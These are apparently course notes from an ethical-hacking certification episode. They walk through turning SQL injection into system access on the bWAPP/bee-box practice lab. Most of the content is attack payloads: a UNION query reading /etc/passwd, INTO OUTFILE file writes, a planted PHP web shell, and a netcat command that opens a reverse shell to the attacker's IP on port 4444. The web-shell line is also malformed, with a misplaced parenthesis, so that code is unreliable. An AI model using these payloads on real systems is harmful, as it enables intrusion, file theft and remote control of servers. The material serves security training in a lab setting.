- Filename: eccouncil-ceh31250-v12-15-4-1-sqli-to-system-access.md
- Show Name: CEHv12 (312-50)
- Topic Name: Web Application Hacking: SQL Injection
- Episode Name: SQLi to System Access
  ==

SQLi to System Access

Objectives:

- Utilize SQL Injection to access the local file system of a remote system
- Leverage SQL Injection to create an interactive connection with a remote system

---

- **We've seen a lot of what we can do with SQL Injection. Are there any other kinds of things can we accomplish with SQL injection?**
    - Lots of dangerous things
        - Local file-system manipulation
            - READ
            - WRITE
            - CODE/COMMAND EXECUTION

- That does sound dangerous! Can you show use a quick example of reading from the target's local file system?
    - READ from file
        - `union all select 1,load_file("/etc/passwd"),3,4,5,6,7 -- -`
            - View source for better formatting of output

- Can we read ANY file we want?
    - Only the files that the SQL user has access to

- You also said we can write, to the local file system. What does that look like?
    - WRITE to file
        - `union all select 1,"Test",3,4,5,6,7 into OUTFILE '/var/www/test.txt' -- -`
            - You may get permission denied
                - Find writeable dir
                    - Check links, source, and `robots.txt`
                        - Trial and error through the listed directories
                            - Found writeable dir: **/documents**
                                - CODE/COM EXEC may now be possible :)

- We can now both READ and WRITE to the Target's local file-system, but how do we leverage this for CODE/COMMAND EXECUTION?
    - CODE EXEC
        - `union all select 1,"<?php echo shell_exec($_GET['cmd'];?>)",3,4,5,6,7 into OUTFILE '/var/www/bWAPP/documents/x.php'`
            - Browse to http://bee-box/documents/x.php
                - Success!

- So we were able to add a new page to the website, but what do we do now?
    - We listen
        - Start a listener on port 4444
            - Now browse to your backdoor and execute a command

- http://bee-box/bWAPP/documents/x.php?cmd=nc -nv 10.0.0.169 4444 -e /bin/bash